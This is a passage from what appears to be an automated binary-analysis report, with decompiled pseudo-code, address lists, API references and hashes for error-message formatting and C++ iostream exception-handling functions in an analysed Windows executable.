															return __eax;
															goto L92;
														case 8:
															__eax = _v0;
															_pop(__esi);
															 *__eax = 0x12;
															__eax[1] = 1;
															__eax[2] = 0x152290;
															return __eax;
															goto L92;
														case 9:
															L57:
															_t219 = _v0;
															 *_t219 = 0xb;
															 *((char*)(_t219 + 4)) = 1;
															 *(_t219 + 8) = 0x152290;
															return _t219;
															goto L92;
														case 0xa:
															L52:
															_t223 = _v0;
															 *_t223 = 5;
															 *((char*)(_t223 + 4)) = 1;
															 *(_t223 + 8) = 0x152290;
															return _t223;
															goto L92;
														case 0xb:
															__eax = _v0;
															_pop(__esi);
															 *__eax = 0x27;
															__eax[1] = 1;
															__eax[2] = 0x152290;
															return __eax;
															goto L92;
														case 0xc:
															__eax = _v0;
															_pop(__esi);
															 *__eax = 0x1c;
															__eax[1] = 1;
															__eax[2] = 0x152290;
															return __eax;
															goto L92;
														case 0xd:
															__eax = _v0;
															_pop(__esi);
															 *__eax = 0x11;
															__eax[1] = 1;
															__eax[2] = 0x152290;
															return __eax;
															goto L92;
														case 0xe:
															__eax = _v0;
															_pop(__esi);
															 *__eax = 0x26;
															__eax[1] = 1;
															__eax[2] = 0x152290;
															return __eax;
															goto L92;
														case 0xf:
															L56:
															_t221 = _v0;
															 *_t221 = 0x10;
															 *((char*)(_t221 + 4)) = 1;
															 *(_t221 + 8) = 0x152290;
															return _t221;
															goto L92;
														case 0x10:
															__eax = _v0;
															_pop(__esi);
															 *__eax = 0x29;
															__eax[1] = 1;
															__eax[2] = 0x152290;
															return __eax;
															goto L92;
														case 0x11:
															goto L91;
													}
												}
											}
										}
									} else {
										goto L10;
									}
								}
							}
						}
					} else {
						E00053C40(_t264, _t260, _v92);
						L22:
						LocalFree(_t264);
						goto L23;
					}
				} else {
					E000519E0( &_v60, 0x26, "Unknown error (%d)", _t263);
					_t251 =  &_v60;
					 *(_t260 + 0x10) = 0;
					 *(_t260 + 0x14) = 0xf;
					_t258 = _t251 + 1;
					 *_t260 = 0;
					goto L2;
					L23:
					 *[fs:0x0] = _v16;
					return E000ECED8(_v20 ^ _t275);
					goto L92;
					L2:
					_t235 =  *_t251;
					_t251 = _t251 + 1;
					if(_t235 != 0) {
						goto L2;
					} else {
						_push(_t251 - _t258);
						E00068B90(_t260, _t258, _t263,  &_v60);
					}
					goto L23;
				}
				L92:
			}

0x00053cb3
0x00053cb5
0x00053cc0
0x00053cc4
0x00053cc9
0x00053ccb
0x00053cd0
0x00053cd4
0x00053cda
0x00053ce0
0x00053cf5
0x00053cf8
0x00053cfb
0x00053d0a
0x00053d51
0x00053d54
0x00053d66
0x00053d6d
0x00053d73
0x00053d76
0x00053d78
0x00053d8b
0x00053d91
0x00053d9d
0x00053da4
0x00053da8
0x00053dbc
0x00053dbe
0x00053dc0
0x00053e08
0x00053e09
0x00053e0b
0x00053e0d
0x00053e10
0x00053e10
0x00053e16
0x00053e1a
0x00053e1f
0x00000000
0x00053e21
0x00053e21
0x00053e27
0x00053e2b
0x00053e30
0x00053e39
0x00053e3b
0x00053e3d
0x00053e43
0x00053e47
0x00053e4c
0x00053e4e
0x00053e4e
0x00053e4c
0x00000000
0x00000000
0x00000000
0x00053e30
0x00000000
0x00053e32
0x00053e32
0x00053e33
0x00053e33
0x00053e37
0x00053e4f
0x00053e55
0x00053e5a
0x00053e5e
0x00053e65
0x00053e6c
0x00053e6f
0x00053e74
0x00000000
0x00053dc2
0x00053dc6
0x00053dcb
0x00053dd1
0x00053dd4
0x00053e79
0x00053e79
0x00053e7d
0x00053e84
0x00000000
0x00053dda
0x00053dda
0x00053ddd
0x00053dde
0x00053de0
0x00053de6
0x00053dfc
0x00053dfc
0x00053dfe
0x00000000
0x00053de8
0x00053de8
0x00053deb
0x00053df3
0x00053df6
0x00053eaf
0x00053eb4
0x00053eb5
0x00053eb6
0x00053eb7
0x00053eb8
0x00053eb9
0x00053eba
0x00053ebb
0x00053ebc
0x00053ebd
0x00053ebe
0x00053ebf
0x00053ec0
0x00053ec1
0x00053ec2
0x00053ec3
0x00053ec4
0x00053ec5
0x00053ec6
0x00053ec7
0x00053ec8
0x00053ec9
0x00053eca
0x00053ecb
0x00053ecc
0x00053ecd
0x00053ece
0x00053ecf
0x00053ed0
0x00053ed3
0x00053ed6
0x00053ed8
0x00053ee1
0x00053ee6
0x00053ee8
0x00053ee8
0x00053ee6
0x00053eeb
0x00053eec
0x00053ef2
0x00054043
0x00054049
0x00054106
0x0005410c
0x0005410f
0x00000000
0x00054115
0x0005411c
0x00000000
0x00054194
0x000541a3
0x000541a6
0x000541a8
0x00000000
0x00000000
0x00000000
0x00000000
0x000541fd
0x0005420c
0x0005420f
0x00054211
0x00000000
0x00000000
0x0005423c
0x0005424b
0x0005424e
0x00054250
0x00000000
0x00000000
0x00054266
0x00054275
0x00054278
0x0005427a
0x00000000
0x00000000
0x0005439b
0x000543ad
0x000543b0
0x000543b2
0x00000000
0x00000000
0x00054227
0x00054236
0x00054239
0x0005423b
0x00000000
0x00000000
0x0005417f
0x0005418e
0x00054191
0x00054193
0x00000000
0x00000000
0x00054323
0x00054335
0x00054338
0x0005433a
0x00000000
0x00000000
0x000541e8
0x000541f7
0x000541fa
0x000541fc
0x00000000
0x00000000
0x0005427b
0x0005428a
0x0005428d
0x0005428f
0x00000000
0x00000000
0x0005436b
0x0005437d
0x00054380
0x00054382
0x00000000
0x00000000
0x000542f9
0x00054308
0x0005430b
0x0005430d
0x00000000
0x00000000
0x00054353
0x00054365
0x00054368
0x0005436a
0x00000000
0x00000000
0x0005433b
0x0005434d
0x00054350
0x00054352
0x00000000
0x00000000
0x00054168
0x0005416b
0x0005416c
0x00054172
0x00054176
0x0005417e
0x00000000
0x00000000
0x0005413a
0x0005413d
0x0005413e
0x00054144
0x00054148
0x00054150
0x00000000
0x00000000
0x00054151
0x00054154
0x00054155
0x0005415b
0x0005415f
0x00054167
0x00000000
0x00000000
0x000542a5
0x000542b4
0x000542b7
0x000542b9
0x00000000
0x00000000
0x000542cf
0x000542de
0x000542e1
0x000542e3
0x00000000
0x00000000
0x000542ba
0x000542c9
0x000542cc
0x000542ce
0x00000000
0x00000000
0x000541a9
0x000541b8
0x000541bb
0x000541bd
0x00000000
0x00000000
0x000541d3
0x000541e2
0x000541e5
0x000541e7
0x00000000
0x00000000
0x000542e4
0x000542f3
0x000542f6
0x000542f8
0x00000000
0x00000000
0x00054251
0x00054260
0x00054263
0x00054265
0x00000000
0x00000000
0x0005430e
0x0005431d
0x00054320
0x00054322
0x00000000
0x00000000
0x00054383
0x00054395
0x00054398
0x0005439a
0x00000000
0x00000000
0x000541be
0x000541cd
0x000541d0
0x000541d2
0x00000000
0x00000000
0x00054290
0x0005429f
0x000542a2
0x000542a4
0x00000000
0x00000000
0x00054212
0x00054221
0x00054224
0x00054226
0x00000000
0x00000000
0x00000000
0x00000000
0x0005411c
0x0005404f
0x0005404f
0x000540fb
0x00054105
0x00054055
0x00054055
0x0005405b
0x000540ac
0x000540ac
0x000540b1
0x00000000
0x000540b3
0x000540b3
0x000540b3
0x000540b8
0x00000000
0x000540ba
0x000540ba
0x000540bd
0x00000000
0x00000000
0x00000000
0x00000000
0x000540bd
0x000540b8
0x0005405d
0x0005405d
0x00000000
0x0005405f
0x0005405f
0x00054065
0x00054068
0x00000000
0x0005406e
0x00054075
0x00000000
0x0005407c
0x00054080
0x00054086
0x0005408a
0x00054092
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00054075
0x00054068
0x0005405d
0x0005405b
0x0005404f
0x00053ef8
0x00053ef8
0x0005402c
0x0005402c
0x00054030
0x00054036
0x0005403a
0x00054042
0x00053efe
0x00053efe
0x00053f04
0x000543b3
0x000543bc
0x000543c6
0x00053f0a
0x00053f11
0x00000000
0x00053f18
0x00053f1c
0x00053f22
0x00053f26
0x00053f2e
0x00000000
0x00000000
0x00053fa2
0x00053fa5
0x00053fa6
0x00053fac
0x00053fb0
0x00053fb8
0x00000000
0x00000000
0x00053ffe
0x00054001
0x00054002
0x00054008
0x0005400c
0x00054014
0x00000000
0x00000000
0x00054015
0x00054018
0x00054019
0x0005401f
0x00054023
0x0005402b
0x00000000
0x00000000
0x00054123
0x00054123
0x00054127
0x0005412d
0x00054131
0x00054139
0x00000000
0x00000000
0x00000000
0x00000000
0x00053fe7
0x00053fea
0x00053feb
0x00053ff1
0x00053ff5
0x00053ffd
0x00000000
0x00000000
0x00053f8b
0x00053f8e
0x00053f8f
0x00053f95
0x00053f99
0x00053fa1
0x00000000
0x00000000
0x00053fd0
0x00053fd3
0x00053fd4
0x00053fda
0x00053fde
0x00053fe6
0x00000000
0x00000000
0x000540da
0x000540da
0x000540de
0x000540e4
0x000540e8
0x000540f0
0x00000000
0x00000000
0x00054093
0x00054093
0x00054097
0x0005409d
0x000540a1
0x000540a9
0x00000000
0x00000000
0x00053fb9
0x00053fbc
0x00053fbd
0x00053fc3
0x00053fc7
0x00053fcf
0x00000000
0x00000000
0x00053f74
0x00053f77
0x00053f78
0x00053f7e
0x00053f82
0x00053f8a
0x00000000
0x00000000
0x00053f5d
0x00053f60
0x00053f61
0x00053f67
0x00053f6b
0x00053f73
0x00000000
0x00000000
0x00053f2f
0x00053f32
0x00053f33
0x00053f39
0x00053f3d
0x00053f45
0x00000000
0x00000000
0x000540c3
0x000540c3
0x000540c7
0x000540cd
0x000540d1
0x000540d9
0x00000000
0x00000000
0x00053f46
0x00053f49
0x00053f4a
0x00053f50
0x00053f54
0x00053f5c
0x00000000
0x00000000
0x00000000
0x00000000
0x00053f11
0x00053f04
0x00053ef8
0x00000000
0x00000000
0x00000000
0x00053df6
0x00053de6
0x00053dd4
0x00053d7a
0x00053d7e
0x00053e8b
0x00053e8c
0x00000000
0x00053e8c
0x00053d0c
0x00053d18
0x00053d1d
0x00053d20
0x00053d27
0x00053d2e
0x00053d34
0x00053d34
0x00053e92
0x00053e97
0x00053eae
0x00000000
0x00053d37
0x00053d37
0x00053d39
0x00053d3c
0x00000000
0x00053d3e
0x00053d43
0x00053d47
0x00053d47
0x00000000
0x00053d3c
0x00000000

APIs

FormatMessageW.KERNEL32(00001300,00000000,?,00000400,?,00000000,00000000,D529E887), ref: 00053D02
WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,000000FF,00000000,00000000,00000000,00000000), ref: 00053D6D
WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,000000FF,?,?,00000000,00000000,00000000,00000000), ref: 00053DB6
LocalFree.KERNEL32(00000000,-00000001,00000000), ref: 00053E8C

Part of subcall function 000ECED8: IsProcessorFeaturePresent.KERNEL32(00000017), ref: 000EDF1D
Part of subcall function 000ECED8: ___raise_securityfailure.LIBCMT ref: 000EE004

Strings

Unknown error (%d), xrefs: 00053D0D

Memory Dump Source

Source File: 00000000.00000002.1663008133.00051000.00000020.sdmp, Offset: 00050000, based on PE: true

Associated: 00000000.00000002.1662919372.00050000.00000002.sdmp Download File
Associated: 00000000.00000002.1664511712.0013A000.00000002.sdmp Download File
Associated: 00000000.00000002.1665212521.0016F000.00000004.sdmp Download File
Associated: 00000000.00000002.1665238509.00170000.00000008.sdmp Download File
Associated: 00000000.00000002.1665281707.00177000.00000004.sdmp Download File
Associated: 00000000.00000002.1665362832.0017B000.00000002.sdmp Download File

Similarity

API ID: ByteCharMultiWide$FeatureFormatFreeLocalMessagePresentProcessor___raise_securityfailure
String ID: Unknown error (%d)
API String ID: 1599009220-1458610041
Opcode ID: 92f0e6669863aa8ad23457e8638ffeba02b5ed309f982c6792a9a4eebe521d94
Instruction ID: 88a0c12b534a01220dc43a141ba57057351fdd45864696e25209e676fb791f0b
Opcode Fuzzy Hash: 92f0e6669863aa8ad23457e8638ffeba02b5ed309f982c6792a9a4eebe521d94
Instruction Fuzzy Hash: 5051D130A00249ABEF24CFD4DC56BEEBBB5FF45741F104219F911AB2C6D7B1A6488B90

Uniqueness

Uniqueness Score: 100.00%

Function 0009F5C0, Relevance: 8.9, APIs: 2, Strings: 3, Instructions: 193
COMMON

Download Yara Rule

C-Code - Quality: 66%

			E0009F5C0(intOrPtr* __ecx, signed int __edx, intOrPtr* __edi, void* __esi, char _a4) {
				intOrPtr _v8;
				char _v16;
				intOrPtr _v20;
				intOrPtr* _v24;
				char _v28;
				intOrPtr* _v32;
				char _v36;
				char _v56;
				char _v76;
				signed int _v84;
				signed int _v88;
				intOrPtr _v96;
				void* __ebx;
				void* __ebp;
				signed int _t105;
				intOrPtr _t108;
				signed int _t113;
				void* _t116;
				signed int _t120;
				void* _t123;
				signed int _t127;
				signed int _t128;
				signed int _t131;
				signed int _t132;
				signed int _t133;
				signed int _t138;
				intOrPtr _t143;
				void* _t148;
				signed char _t153;
				intOrPtr _t154;
				signed int _t162;
				void* _t165;
				intOrPtr* _t170;
				void* _t173;
				signed int _t174;
				intOrPtr _t181;
				void* _t183;
				signed char _t185;
				signed int _t189;
				signed int _t190;
				intOrPtr _t191;
				void* _t193;
				intOrPtr* _t208;
				signed int _t209;
				void* _t212;
				signed char _t214;
				signed int _t217;
				signed int _t219;
				signed int _t221;
				intOrPtr* _t224;
				signed int _t225;
				signed int _t227;
				intOrPtr* _t233;
				char* _t235;
				signed int _t240;
				signed int _t247;
				signed int _t248;
				signed int _t254;
				intOrPtr _t255;
				void* _t256;
				void* _t258;
				void* _t259;

				_t224 = __edi;
				_t217 = __edx;
				_t247 = _t254;
				_push(0xffffffff);
				_push(0x1327d8);
				_push( *[fs:0x0]);
				_t255 = _t254 - 0x3c;
				_push(_t173);
				_push(__esi);
				_push(__edi);
				_t105 =  *0x16f170; // 0xd529e887
				_push(_t105 ^ _t247);
				 *[fs:0x0] =  &_v16;
				_v20 = _t255;
				_t233 = __ecx;
				_v24 = __ecx;
				_t181 =  *__ecx;
				_t108 =  *((intOrPtr*)(_t181 + 4));
				if( *((intOrPtr*)(_t108 + __ecx + 0xc)) != 0) {
					L20:
					_t183 =  *((intOrPtr*)(_t181 + 4)) + _t233;
					__eflags =  *(_t183 + 0x38);
					_t113 = (0x00000002 + (0 |  *(_t183 + 0x38) == 0x00000000) * 0x00000004 |  *(_t183 + 0xc)) & 0x00000017;
					 *(_t183 + 0xc) = _t113;
					_t185 =  *(_t183 + 0x10) & _t113;
					__eflags = _t185;
					if(_t185 != 0) {
						goto L26;
					} else {
						__eflags = 0;
						 *[fs:0x0] = _v16;
						return 0;
					}
				} else {
					_t204 =  *((intOrPtr*)(_t108 + __ecx + 0x3c));
					if( *((intOrPtr*)(_t108 + __ecx + 0x3c)) != 0) {
						E0006AEE0(_t173, _t204, __edx, __edi);
					}
					if(_a4 != 0) {
						L18:
						_t181 =  *_t233;
						if( *((intOrPtr*)( *((intOrPtr*)(_t181 + 4)) + _t233 + 0xc)) != 0) {
							goto L20;
						} else {
							 *[fs:0x0] = _v16;
							return 1;
						}
					} else {
						_t143 =  *((intOrPtr*)( *_t233 + 4));
						if(( *(_t143 + _t233 + 0x14) & 0x00000001) == 0) {
							goto L18;
						} else {
							_t224 =  *((intOrPtr*)( *((intOrPtr*)(_t143 + _t233 + 0x30)) + 4));
							_v8 = 0;
							_v32 = _t224;
							 *((intOrPtr*)( *_t224 + 4))();
							_v8 = 1;
							_push( &_v36);
							_t148 = E0006C220(_t217);
							_t255 = _t255 + 4;
							_t173 = _t148;
							_v8 = 2;
							if(_t224 != 0) {
								_t170 =  *((intOrPtr*)( *_t224 + 8))();
								if(_t170 != 0) {
									 *((intOrPtr*)( *_t170))(1);
								}
							}
							_v8 = 3;
							_t208 =  *((intOrPtr*)( *((intOrPtr*)( *_t233 + 4)) + _t233 + 0x38));
							_t217 =  *( *(_t208 + 0x1c));
							if(_t217 == 0 ||  *((intOrPtr*)( *((intOrPtr*)(_t208 + 0x2c)))) <= 0) {
								_t153 =  *((intOrPtr*)( *_t208 + 0x18))();
							} else {
								_t153 =  *_t217 & 0x000000ff;
							}
							while(_t153 != 0xffffffff) {
								_t209 = _t153 & 0x000000ff;
								_t154 =  *((intOrPtr*)(_t173 + 0xc));
								__eflags =  *(_t154 + _t209 * 2) & 0x00000048;
								if(( *(_t154 + _t209 * 2) & 0x00000048) == 0) {
									L17:
									_v8 = 0xffffffff;
									goto L18;
								} else {
									_t153 = E0009FB20( *((intOrPtr*)( *((intOrPtr*)( *_t233 + 4)) + _t233 + 0x38)));
									continue;
								}
								goto L67;
							}
							_t212 =  *((intOrPtr*)( *_t233 + 4)) + _t233;
							_t162 = (0x00000001 + (0 |  *((intOrPtr*)(_t212 + 0x38)) == 0x00000000) * 0x00000004 |  *(_t212 + 0xc)) & 0x00000017;
							 *(_t212 + 0xc) = _t162;
							_t214 =  *(_t212 + 0x10) & _t162;
							if(_t214 != 0) {
								__eflags = _t214 & 0x00000004;
								if((_t214 & 0x00000004) == 0) {
									__eflags = _t214 & 0x00000002;
									_t245 =  ==  ? "ios_base::eofbit set" : "ios_base::failbit set";
									__eflags =  ==  ? "ios_base::eofbit set" : "ios_base::failbit set";
								} else {
									_t245 = "ios_base::badbit set";
								}
								_t165 = E00052DA0(_t173, _t217, _t224,  &_v36, 1);
								_t255 = _t255 + 8;
								_t185 =  &_v56;
								E00053440(_t185, _t245, _t165);
								E001047B7( &_v56, 0x16d254);
								L26:
								__eflags = _t185 & 0x00000004;
								if((_t185 & 0x00000004) == 0) {
									__eflags = _t185 & 0x00000002;
									_t235 =  ==  ? "ios_base::eofbit set" : "ios_base::failbit set";
								} else {
									_t235 = "ios_base::badbit set";
								}
								_t116 = E00052DA0(_t173, _t217, _t224,  &_v28, 1);
								_t256 = _t255 + 8;
								E00053440( &_v76, _t235, _t116);
								E001047B7( &_v76, 0x16d254);
								asm("int3");
								asm("int3");
								asm("int3");
								asm("int3");
								asm("int3");
								asm("int3");
								asm("int3");
								asm("int3");
								asm("int3");
								asm("int3");
								asm("int3");
								asm("int3");
								asm("int3");
								asm("int3");
								asm("int3");
								asm("int3");
								_t120 = _v88;
								_t189 = _t120 * 8 - _t120 << 3;
								__eflags = _t120 - 0x4924924;
								if(_t120 <= 0x4924924) {
									__eflags = _t189 - 0x1000;
									if(_t189 < 0x1000) {
										__eflags = _t189;
										if(__eflags == 0) {
											__eflags = 0;
											return 0;
										} else {
											_push(_t189);
											return E000ECF08(_t235, __eflags);
										}
									} else {
										goto L33;
									}
								} else {
									_t189 = _t189 | 0xffffffff;
									L33:
									_t123 = _t189 + 0x23;
									_t218 = _t217 | 0xffffffff;
									__eflags = _t123 - _t189;
									_t124 =  <=  ? _t217 | 0xffffffff : _t123;
									_push( <=  ? _t217 | 0xffffffff : _t123);
									_t190 = E000ECF08(_t235, _t123 - _t189);
									_t258 = _t256 + 4;
									__eflags = _t190;
									if(__eflags == 0) {
										E0010F44B(_t173, _t190, _t218, _t224, __eflags);
										asm("int3");
										asm("int3");
										asm("int3");
										asm("int3");
										asm("int3");
										asm("int3");
										asm("int3");
										asm("int3");
										asm("int3");
										asm("int3");
										asm("int3");
										asm("int3");
										_push(_t190);
										_t127 = _v88;
										_push(_t173);
										_push(_t247);
										_t248 = _t127;
										__eflags =  *((intOrPtr*)(_t127 + 0x14)) - 0x10;
										if( *((intOrPtr*)(_t127 + 0x14)) >= 0x10) {
											_t248 =  *_t127;
										}
										__eflags =  *((intOrPtr*)(_t190 + 0x14)) - 0x10;
										_t219 = _t190;
										_v88 = _t190;
										if( *((intOrPtr*)(_t190 + 0x14)) >= 0x10) {
											_t219 =  *_t190;
											_v88 = _t219;
										}
										_t174 =  *(_t127 + 0x10);
										_t191 =  *((intOrPtr*)(_t190 + 0x10));
										__eflags = _t174 - _t191;
										if(_t174 > _t191) {
											L66:
											_t128 = _t127 | 0xffffffff;
											__eflags = _t128;
											return _t128;
										} else {
											_t127 = _v84;
											_t193 = _t191 - _t174;
											__eflags = _t127 - _t193;
											if(_t127 > _t193) {
												goto L66;
											} else {
												__eflags = _t174;
												if(_t174 == 0) {
													L64:
													return _t127;
												} else {
													_push(_t235);
													_push(_t224);
													_v84 = _t193 + 1 + _t219;
													_v96 =  *_t248;
													_t131 = E00104830(_t219 + _t127,  *_t248, _t193 + 1 + _t219 - _t219 + _t127);
													_t225 = _t131;
													_t259 = _t258 + 0xc;
													__eflags = _t225;
													if(_t225 == 0) {
														L63:
														_t127 = _t131 | 0xffffffff;
														__eflags = _t127;
														goto L64;
													} else {
														do {
															_t221 = _t225;
															_t132 = _t248;
															_t240 = _t174 - 4;
															__eflags = _t240;
															if(_t240 < 0) {
																L51:
																__eflags = _t240 - 0xfffffffc;
																if(_t240 == 0xfffffffc) {
																	goto L60;
																} else {
																	goto L52;
																}
															} else {
																while(1) {
																	__eflags =  *_t221 -  *_t132;
																	if( *_t221 !=  *_t132) {
																		break;
																	}
																	_t221 = _t221 + 4;
																	_t132 = _t132 + 4;
																	_t240 = _t240 - 4;
																	__eflags = _t240;
																	if(_t240 >= 0) {
																		continue;
																	} else {
																		goto L51;
																	}
																	goto L61;
																}
																L52:
																__eflags =  *_t221 -  *_t132;
																if( *_t221 !=  *_t132) {
																	L59:
																	asm("sbb eax, eax");
																	_t133 = _t132 | 0x00000001;
																} else {
																	__eflags = _t240 - 0xfffffffd;
																	if(_t240 == 0xfffffffd) {
																		L60:
																		_t133 = 0;
																		__eflags = 0;
																	} else {
																		__eflags =  *((intOrPtr*)(_t221 + 1)) -  *((intOrPtr*)(_t132 + 1));
																		if( *((intOrPtr*)(_t221 + 1)) !=  *((intOrPtr*)(_t132 + 1))) {
																			goto L59;
																		} else {
																			__eflags = _t240 - 0xfffffffe;
																			if(_t240 == 0xfffffffe) {
																				goto L60;
																			} else {
																				__eflags =  *((intOrPtr*)(_t221 + 2)) -  *((intOrPtr*)(_t132 + 2));
																				if( *((intOrPtr*)(_t221 + 2)) !=  *((intOrPtr*)(_t132 + 2))) {
																					goto L59;
																				} else {
																					__eflags = _t240 - 0xffffffff;
																					if(_t240 == 0xffffffff) {
																						goto L60;
																					} else {
																						__eflags =  *((intOrPtr*)(_t221 + 3)) -  *((intOrPtr*)(_t132 + 3));
																						if( *((intOrPtr*)(_t221 + 3)) ==  *((intOrPtr*)(_t132 + 3))) {
																							goto L60;
																						} else {
																							goto L59;
																						}
																					}
																				}
																			}
																		}
																	}
																}
															}
															L61:
															__eflags = _t133;
															if(_t133 == 0) {
																_t227 = _t225 - _v88;
																__eflags = _t227;
																return _t227;
															} else {
																goto L62;
															}
															goto L67;
															L62:
															_t131 = E00104830(_t225 + 1, _v96, _v84 - _t225 + 1);
															_t225 = _t131;
															_t259 = _t259 + 0xc;
															__eflags = _t225;
														} while (_t225 != 0);
														goto L63;
													}
												}
											}
										}
									} else {
										_t81 = _t190 + 0x23; // 0x23
										_t138 = _t81 & 0xffffffe0;
										__eflags = _t138;
										 *(_t138 - 4) = _t190;
										return _t138;
									}
								}
							} else {
								goto L17;
							}
						}
					}
				}
				L67:
			}

0x0009f5c0
0x0009f5c0
0x0009f5c1
0x0009f5c3
0x0009f5c5
0x0009f5d0
0x0009f5d1
0x0009f5d4
0x0009f5d5
0x0009f5d6
0x0009f5d7
0x0009f5de
0x0009f5e2
0x0009f5e8
0x0009f5eb
0x0009f5ed
0x0009f5f0
0x0009f5f2
0x0009f5fa
0x0009f732
0x0009f737
0x0009f739
0x0009f749
0x0009f74c
0x0009f752
0x0009f752
0x0009f754
0x00000000
0x0009f756
0x0009f756
0x0009f75b
0x0009f769
0x0009f769
0x0009f600
0x0009f600
0x0009f606
0x0009f608
0x0009f608
0x0009f611
0x0009f710
0x0009f710
0x0009f71a
0x00000000
0x0009f71c
0x0009f721
0x0009f72f
0x0009f72f
0x0009f617
0x0009f619
0x0009f621
0x00000000
0x0009f627
0x0009f62b
0x0009f630
0x0009f637
0x0009f63c
0x0009f642
0x0009f649
0x0009f64a
0x0009f64f
0x0009f652
0x0009f654
0x0009f65d
0x0009f663
0x0009f668
0x0009f670
0x0009f670
0x0009f668
0x0009f674
0x0009f67e
0x0009f685
0x0009f689
0x0009f69a
0x0009f693
0x0009f693
0x0009f693
0x0009f6a0
0x0009f6d1
0x0009f6d4
0x0009f6d7
0x0009f6db
0x0009f709
0x0009f709
0x00000000
0x0009f6dd
0x0009f6e6
0x00000000
0x0009f6e6
0x00000000
0x0009f6db
0x0009f6ac
0x0009f6be
0x0009f6c1
0x0009f6c7
0x0009f6c9
0x0009f76c
0x0009f76f
0x0009f778
0x0009f785
0x0009f785
0x0009f771
0x0009f771
0x0009f771
0x0009f78e
0x0009f793
0x0009f796
0x0009f79b
0x0009f7a9
0x0009f7ae
0x0009f7ae
0x0009f7b1
0x0009f7ba
0x0009f7c7
0x0009f7b3
0x0009f7b3
0x0009f7b3
0x0009f7d0
0x0009f7d5
0x0009f7dd
0x0009f7eb
0x0009f7f0
0x0009f7f1
0x0009f7f2
0x0009f7f3
0x0009f7f4
0x0009f7f5
0x0009f7f6
0x0009f7f7
0x0009f7f8
0x0009f7f9
0x0009f7fa
0x0009f7fb
0x0009f7fc
0x0009f7fd
0x0009f7fe
0x0009f7ff
0x0009f800
0x0009f80d
0x0009f810
0x0009f815
0x0009f81c
0x0009f822
0x0009f84a
0x0009f84c
0x0009f85a
0x0009f85c
0x0009f84e
0x0009f84e
0x0009f857
0x0009f857
0x00000000
0x00000000
0x00000000
0x0009f817
0x0009f817
0x0009f824
0x0009f824
0x0009f827
0x0009f82a
0x0009f82c
0x0009f82f
0x0009f835
0x0009f837
0x0009f83a
0x0009f83c
0x0009f85f
0x0009f864
0x0009f865
0x0009f866
0x0009f867
0x0009f868
0x0009f869
0x0009f86a
0x0009f86b
0x0009f86c
0x0009f86d
0x0009f86e
0x0009f86f
0x0009f870
0x0009f871
0x0009f875
0x0009f876
0x0009f877
0x0009f879
0x0009f87d
0x0009f87f
0x0009f87f
0x0009f881
0x0009f885
0x0009f887
0x0009f88b
0x0009f88d
0x0009f88f
0x0009f88f
0x0009f893
0x0009f896
0x0009f899
0x0009f89b
0x0009f974
0x0009f975
0x0009f975
0x0009f97a
0x0009f8a1
0x0009f8a1
0x0009f8a5
0x0009f8a7
0x0009f8a9
0x00000000
0x0009f8af
0x0009f8af
0x0009f8b1
0x0009f960
0x0009f963
0x0009f8b7
0x0009f8b7
0x0009f8c6
0x0009f8c9
0x0009f8d0
0x0009f8d4
0x0009f8d9
0x0009f8db
0x0009f8de
0x0009f8e0
0x0009f95b
0x0009f95c
0x0009f95c
0x00000000
0x0009f8e2
0x0009f8e2
0x0009f8e4
0x0009f8e6
0x0009f8e8
0x0009f8e8
0x0009f8eb
0x0009f901
0x0009f901
0x0009f904
0x00000000
0x00000000
0x00000000
0x00000000
0x0009f8f0
0x0009f8f0
0x0009f8f2
0x0009f8f4
0x00000000
0x00000000
0x0009f8f6
0x0009f8f9
0x0009f8fc
0x0009f8fc
0x0009f8ff
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x0009f8ff
0x0009f906
0x0009f908
0x0009f90a
0x0009f933
0x0009f933
0x0009f935
0x0009f90c
0x0009f90c
0x0009f90f
0x0009f93a
0x0009f93a
0x0009f93a
0x0009f911
0x0009f914
0x0009f917
0x00000000
0x0009f919
0x0009f919
0x0009f91c
0x00000000
0x0009f91e
0x0009f921
0x0009f924
0x00000000
0x0009f926
0x0009f926
0x0009f929
0x00000000
0x0009f92b
0x0009f92e
0x0009f931
0x00000000
0x00000000
0x00000000
0x00000000
0x0009f931
0x0009f929
0x0009f924
0x0009f91c
0x0009f917
0x0009f90f
0x0009f90a
0x0009f93c
0x0009f93c
0x0009f93e
0x0009f966
0x0009f966
0x0009f971
0x00000000
0x00000000
0x00000000
0x00000000
0x0009f940
0x0009f94d
0x0009f952
0x0009f954
0x0009f957
0x0009f957
0x00000000
0x0009f8e2
0x0009f8e0
0x0009f8b1
0x0009f8a9
0x0009f83e
0x0009f83e
0x0009f841
0x0009f841
0x0009f844
0x0009f847
0x0009f847
0x0009f83c
0x0009f6cf
0x00000000
0x0009f6cf
0x0009f6c9
0x0009f621
0x0009f611
0x00000000

APIs

__CxxThrowException@8.LIBVCRUNTIME ref: 0009F7A9

Part of subcall function 0006C220: std::_Lockit::_Lockit.LIBCPMT ref: 0006C260
Part of subcall function 0006C220: std::_Lockit::_Lockit.LIBCPMT ref: 0006C282
Part of subcall function 0006C220: std::_Lockit::~_Lockit.LIBCPMT ref: 0006C2A2
Part of subcall function 0006C220: __Getctype.LIBCPMT ref: 0006C341
Part of subcall function 0006C220: std::_Facet_Register.LIBCPMT ref: 0006C360
Part of subcall function 0006C220: std::_Lockit::~_Lockit.LIBCPMT ref: 0006C380

Part of subcall function 00052DA0: _abort.LIBCMT ref: 0010F5FA
Part of subcall function 00052DA0: _free.LIBCMT ref: 0010F62E
Part of subcall function 00052DA0: _free.LIBCMT ref: 0010F654

__CxxThrowException@8.LIBVCRUNTIME ref: 0009F7EB

Part of subcall function 001047B7: RaiseException.KERNEL32(?,?,?,000EE134,?,?,?,?,?,?,?,?,000EE134,D529E887,0016AD84,D529E887), ref: 00104817

Strings

ios_base::eofbit set, xrefs: 0009F780, 0009F7C2
ios_base::failbit set, xrefs: 0009F77B, 0009F7BD
ios_base::badbit set, xrefs: 0009F771, 0009F79A, 0009F7B3, 0009F7DC

Memory Dump Source

Source File: 00000000.00000002.1663008133.00051000.00000020.sdmp, Offset: 00050000, based on PE: true

Associated: 00000000.00000002.1662919372.00050000.00000002.sdmp Download File
Associated: 00000000.00000002.1664511712.0013A000.00000002.sdmp Download File
Associated: 00000000.00000002.1665212521.0016F000.00000004.sdmp Download File
Associated: 00000000.00000002.1665238509.00170000.00000008.sdmp Download File
Associated: 00000000.00000002.1665281707.00177000.00000004.sdmp Download File
